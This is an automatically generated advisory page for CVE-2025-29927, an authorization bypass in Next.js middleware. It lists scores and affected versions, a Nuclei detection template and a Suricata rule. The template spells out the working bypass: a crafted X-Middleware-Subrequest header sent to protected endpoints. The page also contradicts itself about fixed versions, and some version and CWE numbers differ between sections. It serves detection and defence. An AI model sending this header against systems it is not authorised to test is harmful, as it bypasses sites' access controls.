CVE-2025-29927: Authorization Bypass in Next.js Middleware

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-03-21).

Weakness: CWE-285: Improper Authorization

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-03185, CNNVD-202503-2583, CNVD-2025-05716, EDB-52124, EUVD-2025-7243, EUVD-2025-9629, GHSA-223j-4rm8-mrmf, GHSA-f82v-jwr5-mffw, GHSA-mr6q-rp88-fx84, SNYK-CENTOS8-FIREFOX-9637401, SNYK-CENTOS9-FIREFOX-9636689, SNYK-CHAINGUARDLATEST-JITSUCOMJITSU-9511581, SNYK-JS-NEXT-9508709, SNYK-JS-NEXT-9634163, SNYK-RHEL9-FIREFOXX11-9636674

VEDAS cluster: VEDAS:ARCHANGELAXIOM

Exploit Observer links 159 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (159)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (18)

Vulnerability databases and vendor advisories (23)

Catalogue entries, not exploit evidence.

3494 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.992
very likely to be attacked soon
VEDAS
0.986
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
vercel next.jsversion >= 11.1.4, < 12.3.5
version >= 14.0.0, < 14.2.25
version >= 15.0.0, < 15.2.3
version >= 13.0.0, < 13.5.9
Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: vercel next.js.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Nextjs - Authentication Bypass

Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.

Name and description quoted from the template, written by VEDAS.

The template sends 5 requests (GET /, GET /, GET /, GET {{endpoints}} and 1 more); it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-29927.yaml
Show the template (131 lines)
yaml
id: CVE-2025-29927

info:
  name: "Nextjs - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to
    versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js
    application, if the authorization check occurs in middleware.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-29927&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=nextjs&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln
flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):"
        internal: true

      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Request Rejected"
          - "The requested URL was rejected"
          - "Your support ID is"
          - "Access Denied"
          - "Request Blocked"
        negative: true

      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "!contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked')"
        condition: and

CVE-2025-29927.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-29927 Nextjs - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-29927 Nextjs - Authentication Bypass"; flow:established,to_client; file.data; content:"Request Rejected"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-29927; reference:url,https://www.exploit.observer/?keyword=CVE-2025-29927&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=nextjs&match=exact; sid:1011493; rev:1;)

CVE-2025-29927.rules on GitHub

Advisories on this CVE

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.